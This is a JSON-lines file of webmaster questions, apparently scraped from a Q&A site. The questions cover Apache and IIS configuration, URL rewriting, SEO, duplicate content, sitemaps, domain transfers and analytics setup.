{"id":"31572","title":"How can IIS 7.5 have the error pages for a site reset to the default configuration?","text":"A mishap occurred with web.config to accommodate a subsite existing. I made use of `“<location path=\".\" inheritInChildApplications=\"false\">”`. Essentially it was a workaround put in place for nested web.config files which was causing a conflict. The result was that error pages were not being handled properly. Error 500 was being passed to the client for every type of error encountered. Removal of the offending inheritInChildApplications tag from the root web.config restored normal operations of most of the error handling, but for some reason error 503 is a correct response header, but the IIS server is performing the custom actions for error 403.4 which is a redirect to https. I'm looking to restore defaults for error pages so that the behavior once again is restored. I then can re-add customizations for the error pages."}
{"id":"13849","title":"Apache: Virtual Host and .htacess for URL Rewriting not working","text":"I have configured a virtual host in my local machine and every thing is working fine. Now I want to use SEO friendly urls. To achieve this I have used the .htaccess file. My virtual host configuration is: <VirtualHost *:80> DocumentRoot \"C:\/xampp\/htdocs\/ypp\" ServerName ypp.com ServerAlias www.ypp.com ##ErrorLog \"logs\/dummy-host2.localhost-error.log\" ##CustomLog \"logs\/dummy-host2.localhost-access.log\" combined <\/VirtualHost> and my .htaccess file has: AllowOverride All RewriteEngine On RewriteBase \/ypp\/ RewriteRule ^\/browse$ \/browse.php RewriteRule ^\/browse\/([a-z]+)$ \/browse.php?cat=$1 RewriteRule ^\/browse\/([a-z]+)\/([a-z]+)$ \/browse.php?cat=$1&subcat=$2 The above .htaccess setting is not working. After that I modified my virtual host setting and it is working. The new virtual host setting is: <VirtualHost *:80> RewriteEngine On RewriteRule ^\/browse$ \/browse.php RewriteRule ^\/browse\/([a-z]+)$ \/browse.php?cat=$1 RewriteRule ^\/browse\/([a-z]+)\/([a-z]+)$ \/browse.php?cat=$1&subcat=$2 ServerAdmin postmaster@dummy-host2.localhost DocumentRoot \"C:\/xampp\/htdocs\/ypp\" ServerName ypp.com ServerAlias www.ypp.com ##ErrorLog \"logs\/dummy-host2.localhost-error.log\" ##CustomLog \"logs\/dummy-host2.localhost-access.log\" combined <Directory \"C:\/xampp\/htdocs\/ypp\"> AllowOverride All <\/Directory> <\/VirtualHost> Please let me know where I am going wrong in the .htacess file for url rewriting. I do not want to use the settings in virtual host, since for every change I have restart apache."}
{"id":"68746","title":"Can goals in Google Analytics be backdated after the goal's URL changed?","text":"We've redesigned our site, and the single goal URL that we used became out of date. We forgot to update it, but have done so now. We see that the goals for this month are still zero. Therefore, I assume that updating a goal URL does not backdate the goal total for hits to that URL? For example: Original goal URL: > \/mysite.com\/goal.html After redesign, _actual URL_ : > \/mysite.com\/cart\/goal.html Time elapses and _actual URL_ is hit, then goal URL updated to: > \/mysite.com\/cart\/goal.html We hoped that it would update the goal totals, as the URLs are still visible in other statistics."}
{"id":"32861","title":"Let apache run perlscripts that don't have an extension","text":"I'd like to use perlscripts without their extension. f.e. \"index\" instead of \"index.pl\". Changing the DefaultType-directive from text\/plain to application\/x-perl didn't do the trick. Instead of running the script the server offered to download its source. I'm not exactly sure if changing this directive is the right approach. Telling apache to read the shebang-line when there is no extension sounds much better to me. I hope someone with more experience on this topic can help me out."}
{"id":"1326","title":"Why should I use a subdomain structure over a directory structure?","text":"I want to do blog.mysite.com but i know it will negatively impact my PR with Google. When is it preferable to structure your site like that vs mysite.com\/blog? Is it only for the benefit of PR?"}
{"id":"32866","title":"How does facebook\/google plus save posts?","text":"On Facebook and Google Plus you can see the original post, who posted it, when and all of the comments that follow. How do they save the posts, then load that data with php? XML Files?"}
{"id":"66977","title":"How to disallow robots from the first 185 pages?","text":"I have a website that whereby the first 185 pages are sample profiles for demonstration purpose: http:\/\/example.com\/profile\/1 ... http:\/\/example.com\/profile\/185 I want to block these pages from Google as they are somewhat similar in content to avoid penalty for being labelled as duplicate content. Is there a better way to do it than listing them out in _robots.txt_ like so: User-agent: * Disallow: \/profile\/1 Disallow: \/profile\/2 Disallow: \/profile\/3 ..."}
{"id":"6022","title":"Change host \/ keep emails","text":"I haven't done this before so I gotta ask. I'm doing a site for a client. The current site is done in PHP, and I'll do it in ASP.NET. Now, the current hosting service does not support ASP.NET code, so I'll have to change the hosting provider, and that's fine, BUT, the client SPECIFICALLY asked that the email adresses stay the same. Is this doable and if yes, how? So only the hosting provider changes, the domain name stays the same. Tnx for your time! Andrej"}
{"id":"53750","title":"Transfer Domain, Hosting, and Email from Network Solutions To Go Daddy while preserving email","text":"My client would like to do something I would imagine is very common but a couple of days worth or Google search gives me partial answers - not the exact situation which is understandable. Here it is in a nutshell: * Client wants to move domain registrar, hosting, and email archives FROM Network Solutions TO Go Daddy. mydomain.com as the example. * Client's WhoIs admin contact email is johndoe@mydomain.com (so in other words, if we really moved everything I am guessing the confirmation and authorization notes would get lost along the way? If I change this to a gmail acct or 3rd party do you really have to wait 60 days to move the site? * Is there an \"order\" in which to move everything? Do I download the entire site, and reupoad to a test \/ dev domain first, then point that towards the Network Solutions domain first, and then move the domain? Or do we do all of this at once? * Lastly, I am not sure where MX records come in to place vs. just manually forwarding every single email out to a 3rd party email. I didn't see where Network Solutions can \"export\" an entire list of emails. Is this possible or do they lose all the email archives? I did as much research as I could but I'm not certain of the order in which to do this and the best practice for preserving email during a transfer. Part of this question is similar to the linked question but it is different because I am asking for the ORDER of the ENTIRE process (including domain transfer, hosting, AND email - the link is regarding email only)"}
{"id":"66973","title":"After fixing problems with duplicate content, will my search engine rankings return?","text":"**Background:** I have been making a new website design at `www.example.com\/new` which has been uploaded for some time as I have been redesigning the site. This site shares most of the same content as my current site at `www.example.com`. Since I did not link to any of the pages on the new site, I thought Google would not index it, but it appears that it did. This would explain the fact that I have been experiencing a drop in SEO for my site. Now that I have realized the problem, I will be replacing all the files in the `\/new` directory with the duplicate files (i.e., replacing `\/new\/gyms.html` with `\/gyms.html`) which should eliminate the duplicate content. My question is, now that I will have fixed the problem of having duplicate content, will this SEO penalty go away? Will my rankings go back to the way they were? Will there always be some lingering effects?"}
{"id":"44800","title":"Handling APACHE file caching","text":"I have used .htaccess to cache images, css and javascript files on my server for up to a month. My problem is that some users get updates that I made recently and all works normally while some user files have not been upgraded to the latest version. For me after changing one of these files and refreshing the page causes the new changes to take effect on my computer but not for some other users. Is there a way to force updating if I made changes to any of these files? Thank you."}
{"id":"38366","title":"Country specific content vs global content","text":"I have a global product presentation website _myproduct.com_ For certain countries I also own the country domain: _myproduct.co.uk_ , _myproduct.com.au_ , _myproduct.es_ , _myproduct.de_ , etc. The presentation website is translated in multiple languages and I set up redirects: _myproduct.es_ will redirect to _myproduct.com\/es\/_ , _myproduct.de_ will redirect to _myproduct.com\/de\/_ , etc. . The content so far is the same, just translated in different languages. The advantages are that it's easy to keep the content aligned - everything is managed from one centralized dashboard (I'm using Wordpress with qtranslate). Now I'm running into trouble as for different countries I want **localized content** - for UK I want to run different promotions and use a different reseller than for .com.au so I would like that users coming from myproduct.co.uk see something different than those coming from myproduct.com.au (and not be redirected to myproduct.com as they are right now). **How can I achieve this?** 1. I could duplicate the whole main website and modify only certain parts but then I would have a lot of duplicate content (e.g. info about how the product works) and I would have pages that are likely to change (FAQ page) that I would have to keep updated over all websites. 2. I can duplicate only partially the main website: on the localized website I would have only the pages that are different and then all other links would point to the .com site. This would solve the duplication problem but would cause confusion for the user as you would navigate from .co.uk to .com without noticing and then wonder how to get back. 3. Other, better option? **Conclusion** After reading the links recommended by the answers and this related question if decided on duplicating the TLD site on multiple country specific websites with canonical links as a matter of dealing with duplicated content. I still don't like the fact that a content update has to be propagated to multiple sites (time consuming and error prone) but I understand the SEO benefits."}
{"id":"5618","title":"Google not following \"canonical\" directive for a certain type of URLs","text":"a few months ago we set up canonical URLs for many page types such as http:\/\/www.wowhead.com\/item=50362\/deathbringers-will. This worked very well and google picked them all up. A few days ago I implemented the same thing for blog posts but mysteriously it's not working. <link rel=\"canonical\" href=\"\/blog=174055\/cataclysm-beta-patch-build-13316\" \/> This blog post was written **after** my change but google shows `www.wowhead.com\/blog=174055` as the URL; any reason why? I can't really figure it out, the content of the pages is the same, and it's not really any different than what we did with \/item and that worked."}
{"id":"38360","title":"Structured data","text":"I used a web design software package online to build my website. My site is 'on' Google, but GWT is saying it can't detect any structured data. Where and how do I do this? I understand what it is but don't know how to go about doing it."}
{"id":"5612","title":"Share on Facebook does not show thumbnail images","text":"I have a PHP application which has a \"Share on Facebook\" button that, * On the development server shows the thumbnail images correctly and allows the user to select between them * On the live server, it does NOT show the thumbnail images at all. The relevant portion of the .htaccess file is: # Set up caching on media files for 2 days <FilesMatch \"\\.(gif|jpg|jpeg|png|flv)$\"> ExpiresDefault A172800 Header append Cache-Control \"public\" <\/FilesMatch> I'm using the exact same set of php files and .htaccess, but the server configuration is different. What could be causing this? Note that the text appears fine. **Edit1** We are also doing some URL rewriting related to images in the .htaccess (on both servers): ... RewriteRule ^.*\/content\/image\/(.*)$ content\/image\/$1 [L] ... RewriteRule ^.*\/images\/(.*)$ images\/$1 [L] ... Would that be somehow making a difference? Images appear fine all throughout the site. (I posted this question earlier as http:\/\/stackoverflow.com\/questions\/4142597\/share-on-facebook-does-not-show- thumbnail-images) )"}
{"id":"26399","title":"Adding a user specific website to a domain","text":"I just got a domain (first time) and set it up with Google Apps. I was wondering if it was possible to set up personal websites for individual users on the domain using notation such as `abc@xyz.com` such that typing `abc@xyz.com` would take you to user `abc`'s personal page and `def@xyz.com` would take you to user `def`'s personal page. I'm a newbie so be gentle :-)"}
{"id":"19105","title":"Recommendations for Setup of Test Environment","text":"We host several sites on a Cloud server. It constantly seems to be getting picked up by Google, but our clients need to be able to access there in progress builds to add content. This brings with it several problems because we can't assign ips to block as most clients would be on a dynamic ip. Is there any recommendations for any sort of portal system that would allow us to have quite alot of sites based off the portal domain and accessed seperately via a username and password. Even if with the one password you could still view someone elses site? Our setup is currently used for Magento \/ Wordpress sites and as such obviously needs to be php5."}
{"id":"38053","title":"Does Google treat AWS IP addresses as related?","text":"We are hosting several websites on one of our servers, and wondering if because they are on the same subnet that they have been somehow penalized. We are not inter-linking between websites. However in an attempt to have everything hosted in AWS, we will have some sites that we do want to be interlinked. If the sites resided on the same subnet, this could be bad. However, with AWS, we can allocate multiple elastic IP addresses that do reside on different subnets. How does Google deal with this?"}
{"id":"38368","title":"What to use for \"localhost\" that includes PHP\/SQL functionality?","text":"I really do not want to install Linux at the moment, I would have to borrow a USB key, move files, format it, flash it, format it again, move files back, give it back... What would you recommend that is lightweight, **_easily and cleanly uninstallable_** afterwards (will install Linux when I get a new DVD-ROM, which will be in ~2 weeks), that also supports PHP and SQL? To be precise, I want to install a Wordpress blog, a few plugins, etc, and develop a theme. If there is no such thing for Windows (7, x64 if that matters), let me know too, I will borrow the USB key then (even though it's a pain)."}
{"id":"65735","title":"How much of your content needs to be copied before you can file a DMCA complaint?","text":"I run a blog with a number of articles, and I noticed that there are a few sites out there that have copied the articles, or parts of articles. Where they have copied an entire article, I understand that I can file a DMCA complaint and get it taken down. However, in some cases they have copied the first 1-2 paragraphs from the article, and then mentioned my site. (No link though.) I think this is still hurting my site's rankings, as when I search for a sentence contained in one of these paragraphs, it brings up the dupe website before mine! Can I still get these 1-2 paragraph copy+paste jobs taken down via DMCA complaints? Note: it's not a legit site that has quoted my article, the site in question is 90% spam & scraped content, plus 10% selling pills."}
{"id":"52466","title":"Opening forum for search engine bots and SEO","text":"We develop and sell components for other software developers through our website. The main products are ActiveX and WinFroms.NET grid controls. Some years ago we established a forum dedicated to our products, and it resides on the same website in a subdirectory (maindomain.com\/forum). We left it opened for search engine robots trying to increase the occurrence of the specific keywords we optimized our website for - and thus have a better SEO effect (examples are \"activex grid\", \"winforms grid control\"). At some point we discovered that Google Webmaster Tools suggest us to fix some problems on our website, and the most of them are forum topic pages. For instance, we have a lot of \"repeated titles\" errors on our forum pages because of the forum engine we use. So, the question is: should we hide our forum from search engine bots to avoid those errors (in their \"eyes\") and thus enhance our rank? And is it good at all to open forums like our one for indexing to have better SEO? * * * Some detailed info as an example. We use the YetAnotherForum ASP.NET forum engine. Google bot reports the \"duplicate title tags\" error for the following pages: \/Forum\/yaf_postsm567_Display-Time-Difference-in-each-Group-Title-in-DataGridView.aspx \/Forum\/yaf_postsm567findlastpost_Display-Time-Difference-in-each-Group-Title-in-DataGridView.aspx \/Forum\/yaf_postst244findlastpost_Display-Time-Difference-in-each-Group-Title-in-DataGridView.aspx \/Forum\/yaf_postst244findunread_Display-Time-Difference-in-each-Group-Title-in-DataGridView.aspx"}
{"id":"5714","title":"Best advertisement program from web application to display after user login, together with Google Adsense","text":"I have developed a web application. It is a todo list manager. I am already displaying adversiment on users' accounts after they login with Google Adsense. To increase revenues I would like to display ads from another program, too. Obviously their spider will not be able to parse the content of the page before sending the ad because the area is password-protected. Are you in a similar setting? What would you suggest? Thanks, Dan"}
{"id":"52137","title":"How to calculate unicode URLs length for SEO?","text":"As you know, URL Length is important for SEO. There is a ambiguity in URL length calculation for Unicode URLs. How search engines view my Unicode URLs? For Example the following URLs are same, which of them are calculated by search engines? 1. `http:\/\/aroushaafzar.ir\/خدمات\/طراحی-وب-سایت.html` => Length: 47 characters 2. `http:\/\/aroushaafzar.ir\/%D8%AE%D8%AF%D9%85%D8%A7%D8%AA\/%D8%B7%D8%B1%D8%A7%D8%AD%DB%8C-%D9%88%D8%A8-%D8%B3%D8%A7%DB%8C%D8%AA.html` => Length: 120 characters"}
{"id":"35214","title":"Will we be penalized for having multiple external links to the same site?","text":"There seem to be conflicting answers on this question. The most relevant ones seem to be at least a year or two old, so I thought it would be worth re- asking this question. My gut says it's ok, because there are plenty of sites out there that do this already. Every major retailer site usually has links to the manufacturer of whatever item they are selling. go to www.newegg.com and they have hundreds of links to the same site since they sell multiple items from the same brand. Our site allows people to list a specific genre of items for sale (not porn - i'm just keeping it generic since I'm not trying to advertise) and on each item listing page, we have a link back to their website if they want. Our SEO guy is saying this is really bad and google is going to treat us as a link farm. My gut says when we have to start limiting user useful features to our site to boost our ranking, then something is wrong. Or start jumping through hoops by trying to hide text using javascript etc Some clients are only selling 1 to a handful of items, while a couple of our bigger clients have hundreds of items listed so will have hundreds of pages that link back to their site. I should also mention, there will be a handful of pages with the bigger clients where it may appear they have duplicate pages, because they will be selling 2 or 3 of the same item, and the only difference in the content of the page might just be a stock #. The majority of the pages though will have unique content. So - will we be penalized in some way for having anywhere from a handful to a few hundred pages that all point to the same link? If we are penalized, what's the suggested way to handle this? We still want to give users the option to go to the clients site, and we would still like to give a link back to the clients site to help their own SE rankings."}
{"id":"53443","title":"How to implement Google Experiments on dynamic URL with no params?","text":"How do I correctly implement an experiment with Google Experiments in this case? I've tried using relative paths for variations but all links are redirecting me to one of the variations of the original page (`first.html` or `first-v2.html`, `first-v3.html`). Is there a regex I should use? I have product pages in this format: http:\/\/example.com\/products\/first.html http:\/\/example.com\/products\/second.html http:\/\/example.com\/products\/third.html And variations are different pages for every product page like: http:\/\/example.com\/products\/first-V1.html http:\/\/example.com\/products\/first-V2.html http:\/\/example.com\/products\/second-V1.html http:\/\/example.com\/products\/second-V2.html http:\/\/example.com\/products\/third-V1.html http:\/\/example.com\/products\/third-V2.html I've seen answers from Google Analytics Content Experiments: possible to setup variations for multiple pages at once? and https:\/\/support.google.com\/analytics\/answer\/2664470?hl=en&ref_topic=1745208. Please don't give me links to other kind of results, I've seen all questions on Stack Overflow."}
{"id":"4145","title":"Why is there a difference between urls submitted to a sitemap and urls in the google index?","text":" The crawl report shows this: \"HTTP (1) In Sitemaps (5) Not found (993) Restricted by robots.txt (487,544)\" So the discrepancy between 50,000 and 44,592 isn't coming from that. Are there any obvious reasons?"}
{"id":"34718","title":"Will JavaScript (document.write) content be indexed by search engines?","text":"I have an external JS file embedding some content inline in a web page. Basically it just does a `document.write(\"my content\")` via a script tag and loaded externally with the `src` attribute. Any chance for this content to be indexed? Answer seems obviously negative but I have a slight hope while crawlers have surprising abilities."}
{"id":"47026","title":"The URLs on my site changed, how can I get Google to change the URLs shown in Sitelinks?","text":"I have created a **new** website to replace the old one. The old one had structure like this ( and its _URLs_ ): Site name (www.site.com\/index.php) ---- Home page (www.site.com\/home_page.php) ---- Programmes (www.site.com\/programmes.php) ---- About us (www.site.com\/about_us.php) When I searched on Google for my site name it displayed the results like that. I removed the old site from the server and uploaded the new one. Now I'm using **CMS** for the new site ( _MODx_ ) so the structure is like this: Site name (www.site.com\/index.php?id=1) ---- Home page (www.site.com\/index.php?id=2) ---- Programmes (www.site.com\/index.php?id=3) ---- About us (www.site.com\/index.php?id=4) Then when I searched Google for the site name it displayed the **last pages results**. I found that I could remove the old URLs in _webmaster tools ⇒ optimization ⇒ remove URLs_ and I removed the pages. Now when I google my site name it displays only the **index.php** ( without the sitelinks). How can I add the new Sitelinks to the Google search?"}
{"id":"23267","title":"Web design portfolio","text":"I'm pretty much a newb when it comes to freelancing, I'm looking to start a portfolio for my individual projects only I haven't done any and I'm kind of stuck on where to start. I have assisted in several CMS and forum implementations along with a few Wordpress sites, but haven't had a chance to build and launch a site entirely independently. I've found that clients on sites like elance.com and freelancer.com generally aren't interested in what you have assisted in, they want to see projects of your own. That being said, I have been trying to find people interested in a site built and launched by myself with no obligation or charge, just so I can have a few pieces for my portfolio. Any suggestions as to where to look for new projects that aren't tied to rates and previous work experience? Thanks"}
{"id":"23265","title":"jwplayer: fire google adword or analytic conversion?","text":"how would you track someone playing a flash video on your website using google adwords\/analytics conversion? The purpose is to be notified when a visitor views the flash video, and when the visitor finishes viewing it."}
{"id":"45451","title":"With www or without www? Which is better to use","text":"I have just bought a new domain `www.reversehacking.com` .... Which is better for SEO: `http:\/\/reversehacking.com` or `http:\/\/www.reversehacking.com` I think people will make more links starting with www and will have more backlinks for the www one. Please give your suggestions and I need to launch the website as soon as possible."}
{"id":"20302","title":"What is the best practice for choosing default domain - www.example.com or example.com?","text":"> **Possible Duplicate:** > SEO preference for WWW or HTTP:\/\/ protocol redirection? Do www websites > rank better than NON-www? One domain would have to be redirected to another, but I have seen both cases - www.example.com being redirected to example.com and vice versa. What's the best practice and does either way have any impact on SEO?"}
{"id":"31715","title":"Why is my no-www redirect taking over 2 seconds?","text":"My website livingalignment.com is very slow to load. The domain and hosting is all with GoDaddy. In Pingdom I found that it is redirecting from www.livingalignment.com to livingalignment.com and it takes about 2 seconds to do so, with a total load time of 10 seconds. If put in livingalignment.com then it takes about 4 seconds. What should I do to fix this?"}
{"id":"63023","title":"Would using content from third-party websites while giving credit to them be considered \"fair use\"?","text":"I want to create a international flight search engine website that links to multiple other flight searching websites and pulls the flight information into my site, by linking to the source website, giving full credit and showing the link and logo of the source site. Users would have to book any reservations through the external websites, so at the end the site would be driving more users to the source websites. Would this be considered 'fair use' from a legal perspective?"}
{"id":"39505","title":"Google can not see my site","text":"when I type my domain name http:\/\/www.mcqtoday.com in google it shows some other site. I have submitted the sitemap to google web master, it says 2 page is indexed, but does not show in search result. Please help me. Thanks in advance"}
{"id":"52648","title":"Robots signing up on website","text":"A couple of days ago, some robots started to sign up on the website (about 30 in a couple of days), they don't do anything on the website (as I'm guessing they don't find what they're looking for). I'd rather not have a CAPTCHA on my sign up form, is there any risk to letting those robots signing up with the website? Is there anything I can do besides a CAPTCHA (they have different IPs, passwords, emails...)?"}
{"id":"22247","title":"Looking for a step by step guide to URL re-writing with mod_rewrite and other methods","text":"I'm looking for step by step resource about how to rewrite URLs and have a few specific questions. I've read the documentation on `mod_rewrite` in Apache, but I still find myself a little lost. 1. If I have `example.com\/products.html`, can I change this to appear as `example.com\/products`? For that to happen, do I make all of my links point to `\/products` and then have a rewrite rule that directs `\/products` to `\/products.html`? Or is it the other way around? 2. Also, for PHP forms, I've noticed that I can't have a form action that points to a directory: for example, it requires `\/mail\/index.php` instead of just `\/mail`. Can `mod_rewrite` fix this too?"}
{"id":"36275","title":"Links in my site have been hacked","text":"In my site I prefix the images and links with the domain of the site for better SEO using the code below: public static string GetHTTPHost() { string host = \"\"; if (HttpContext.Current.Request[\"HTTP_HOST\"] != null) host = HttpContext.Current.Request[\"HTTP_HOST\"]; if (host == \"site.co.uk\" || host == \"site.com\") { return \"http:\/\/www.\" + host; } return \"http:\/\/\"+ host; } This works great, but for some reason, lots of links have now changed to `http:\/\/www.baidu.com\/...` There is no sign of this in any of the code or project, the files on the server also have a change date when i last did the publish at 11 yesterday, so all the files on there look fine. I am using ASP.net and Umbraco 4.7.2 Does anyone have any ideas? thanks"}
{"id":"67379","title":"Can we use this service for WordPress theme development?","text":"I need to know if I can use the `lorempixel.com` service for WordPress theme development for commercial use considering that this service is released under the creative commons license (CC BY-SA)."}
{"id":"22243","title":"In User Agent strings, what does \"AskTbTRL\" denote?","text":"Here are a bunch of examples: http:\/\/www.botsvsbrowsers.com\/listings.asp?search=asktbtrl I would've guessed an Ask.com-related bot, but apparently not according to their FAQ."}
{"id":"22240","title":"What good Social Networking Site solutions there are?","text":"What good and **free** Social Networking Site solutions there are? I tried many options but most of them are either too complicated, too simple, or just do not work... I tried: Dolphin, DZOIC-Handshakes, elgg, Oxwall, SocialEngine, and some plugins for wp and other CMS. I don't need much, just: groups, chats, forums, profiles, PM, photos, pages, comments, search, statistics. Most of which included in pretty much every CMS out there, but not all.. So, what good solutions there are? Also I don't mind paying some money _(I guess no more then $200)_ , but I'd prefer if it was a free open source engine. Of course it should be PHP+MySQL based."}
{"id":"10707","title":"How to make background image black and white?","text":"Are there any filters that would make background image black and white? I have an image set as the background image using CSS, but now I need to apply a filter so that an image is shown in black and white only. Ideally, I would also like to apply opacity to it. The effect I really trying to achieve is to have background image black\/white and on hover over that span element the filter would be removed, revealing the color version. And of course it has to work in Firefox, Chrome and Internet Explorer."}
{"id":"25042","title":"Can I sell a .eu domain to a registrant outside the European Union?","text":"I would like to sell my domain, which is a .eu domain. The Wikipedia page states that .eu domains may only be registered by residents of member states of the European Union. For that reason, I wonder if it would make sense to offer my domain for sale at websites directed at the US markets (sedo.com, ebay.com, etc), since the buyer would, at least technically speaking, not register the domain, only 'acquire' (read: buy secondhand) it."}
{"id":"10704","title":"International TLD's vs. duplicate content","text":"I currently work at a pretty big website that has visitors from around the globe. My job is to help out on the SEO, and one thing we've been discussing lately is the use of international TLD's. The ones we use range between: * (partly) translated websites like .es and .de that serve most of the content in the country's language * non-translated (english) websites for non-english languages (due to a lack of translations) like .ro and .cz * english websites for english speaking countries with localized TLD's (.co.nz, .co.uk) On one hand I really have the feeling this is causing a lot of duplicate content, especially for the last two categories of TLD's. On the other hand though it seems a lot like country-specific TLD's tend to score a lot better in that country's Google. Would it be advisable to keep on using these domains, or should we canonicalize them all to the .com version?"}
{"id":"65505","title":"Use traffic from previous domain owner","text":"I have a domain which previously belonged to someone hosting a forum on it. Can I use that traffic to give my domain a boost, by taking the 404 traffic and 301 redirecting it to an existing page of mine?"}
{"id":"27397","title":"Blogging platform for shared hosting?","text":"First of all, this is not for flame wars. So, please do not bash some blogging platform :P I have a shared hosting account. I want to setup a blog on it. Now, the thing is that as it is shared hosting, I do not have as much bandwidth as some expensive hosting. I have tried using Wordpress with the caching plugins configured. It still does not seem to speed it much. Also if I create a simple PHP website, the speed is fine. Can someone suggest me some lightweight platform?"}
{"id":"27393","title":"What is the \"client-side architecture model\"?","text":"I am reading the recently released \"Field Guide to Web Applications\" (from the Google Chrome team). The book encourages the use of the \"client-side architecture model\", but never really defines it, as far as I can tell. What's the gist of this model?"}
{"id":"50326","title":"Putting (WordPress) tags in <footer> tag, good for SEO or not?","text":"I am using tags for my posts on my WordPress site. The content of my post is set in `<article>` tags, which is fine and now, I want to put the author link and tags in a `<footer>` tag, but I don't know if this is good for SEO reasons. I know that Googlebots are putting less weight if they see links in a footer, but will this effect my tag pages? Is there any harm? I would love to read a good explanation on this."}
{"id":"39015","title":"Google Webmaster Tools, DNS Errors & HostPapa","text":"I received this message from Google Webmaster Tools: > Over the last 24 hours, Googlebot encountered 2 errors while attempting to > retrieve DNS information for your site. The overall error rate for DNS > queries for your site is 40.0%. You can see more details about these errors > in Webmaster Tools. Recommended action I've contacted HostPapa and they deny that there is any issue with the site \/ server. Support from them in terms of what I can do to actually resolve this issue is non-existent. The site is currently online. I don't know much about DNS, so any advice about what I can do to resolve this problem would be much appreciated. Basically, the message from Google says that it is my webhost's fault, the message from my webhost (HostPapa) is... \"Just tell Google to crawl your site as there are no errors.\""}
{"id":"56109","title":"Duplicate title error in Webmaster Tools","text":"I have changed some URLs in my site then to prevent Webmaster Tools duplicate error I redirected (301) old URLs to new URLs also I tried to remove old URLs in \"Optimization > Remove URLs\" section of Webmaster Tools and still I get \"Duplicate title error\". I want to know is any problem in redirecting? For example, `http:\/\/www.example.com\/index.php` is redirected to `http:\/\/www.example.com\/index`. P.S.: I used Fiddler to check 301 redirect and think it should be okay."}
{"id":"31381","title":"Google Sitemap Limits?","text":"I've read in multiple places that Google's sitemap limits sits at 50,000 URLs per sitemap - though it's my understanding that you can submit multiple sitemaps to overcome this problem. I've also found that Google follow the sitemap protocol found here. My question is - is there anywhere where Google directly comment on the specifications and limits of sitemaps they accept? All the information I've found isn't behind any Google domain."}
{"id":"9847","title":"What to do with random pages after a 301 redirect?","text":"I did a standard 301 redirect for a domain, but the original domain has about 300 pages that have some strength. It doesn't make sense to make them all point back to the new home page because the individual pages are about some topics. Also, there aren't the same pages in the new domain, so where should the original random pages redirect to? I would like to have them rank for the same topics they used to, but without having the original domain giving them strength, they will just stop ranking and die off. What should I do? Thanks, Alex"}
{"id":"46796","title":"website region lock | Localize SEO traffic","text":"This may be a question that is completely out there but I'm about to publish a site that is very localize advertising - this can become big at some point but for right now I want to keep \"out of state\" traffic off it for branding and patent purposes. Is this even possible to keep traffic from inside the US entering my site? I am looking to optimize keywords but just don't need someone from Ohio if this website is only for California."}
{"id":"18287","title":"Why the number of indexed pages decreased for a \"site:\" search","text":"Recently I created a website with hundreds of thousands of unique pages. A week ago, Google had indexed about 250,000 pages. It has now decreased to 90k URLs (using a `site:domain.com` query). What should I do to have Google index all the pages again? Why did all these pages get de-indexed from Google?."}
{"id":"23847","title":"Huge drop in indexed pages","text":"> **Possible Duplicate:** > Why the # of indexed pages got dicreased? My site's indexed pages drop every now and then. It suddenly drops from ~800.000 to ~20.000 pages, along with a huge drop in daily crawled pages (according to Google's webmaster tools) Then it raises again during the next 1-2 months, just to drop again, and the cycle repeats. I happens in both site:www.example.com and example.com. I'm very worried and I can't figure out why is this happening without making any changes in the site's link structure. This is affecting our rankings too. I suspect there's something annoying Goggle in our site, but it's driving me nuts to find the clue."}
{"id":"48777","title":"SEO on multilanguage website URL","text":"I'm setting up a multilanguage website and I would like to have your help to take the best decision as regard SEO. After reading this. I would like to change my URLs from this form `www.mywebsite.com\/page?lang=es` to `www.mywebsite.com\/es\/page?lang=es`. I need to keep the `?lang=es` for other things. My _.htaccess_ file already contains these things (to remove `.php` extension of `page.php`). RewriteCond %{THE_REQUEST} ^GET\\s.+\\.php [NC] RewriteRule ^(.+)\\.php$ \/$1 [NE,R=301,L,NC] RewriteCond %{REQUEST_URI} !\\.php$ [NC] RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule . %{REQUEST_URI}.php [PT]"}
{"id":"16238","title":"Free ASP.NET Ajax Image gallery","text":"I am searching for a free script in ASP.NET(C# o VB.NET) and Ajax form image gallery, can you help me?"}
{"id":"65697","title":"Google Analytics on an Intranet - What constituers a Fully Qualified Domain Name?","text":"We want to use Google Analytics on our intranet. It currently lives at `http:\/\/intranet`, which obviously won't work because Google Analytics requires an FQDN. It's also available at `http:\/\/intranet.companyname.dom\/` but I'm unable to add a property using that address, either. So what exactly are the requirements? Does it need to be a \"proper\" web address, e.g. `intranet.companyname.com` (albeit only visible internally)? (Just to cover it off, we're OK with the privacy\/security\/etc implications of using a 3rd party analytics system on our intranet)"}
{"id":"34922","title":"Google Apps for buisness to Google Apps","text":"I have created my personal account in Google Apps for business instead of Google Apps. Is it possible for me to change this? I have 13 days of trial time left. today when i get this link i get to know that there is a free version still available."}
{"id":"16234","title":"Using & instead of &?","text":"I'm noticing that browsers correctly parse \"&\" when they encounter them. So is there any reason i should be using & in HTML text on my site?"}
{"id":"51841","title":"How to implement hreflang on a single domain?","text":"Large amounts of a company's (English) content are duplicated across the following ccTLDs: * `example.co.uk` * `example.com` * `example.au` * `example.ie` * `example.co.nz` The issue is that, realistically, we can only make changes to the UK site. Furthermore, the URL structure of the pages on the foreign markets is not always the same, and could change in the future. For example, `\/about-us\/` could become `\/about\/` without us being notified. Would there be any SEO benefit to our UK site from implementing the `hreflang` attribute on our domain alone? If yes, how can we do it without changing the other international sites? Perhaps in XML sitemap form? For example, inspired by Google's guide: <?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\" xmlns:xhtml=\"http:\/\/www.w3.org\/1999\/xhtml\"> <url> <loc>http:\/\/www.example.co.uk\/<\/loc> <xhtml:link rel=\"alternate\" hreflang=\"en-gb\" href=\"http:\/\/www.example.co.uk\/\" \/> <\/urlset> It seems like an odd thing to do, and not what `hreflang` is intended for; but I'd like to confirm. Note that all other geo-targeting signals are being taken care of."}
{"id":"37986","title":"Is it okay to use apostrophe's in the URL? Are there any negative consequences?","text":"In particular I'm interested in any SEO consequences."}
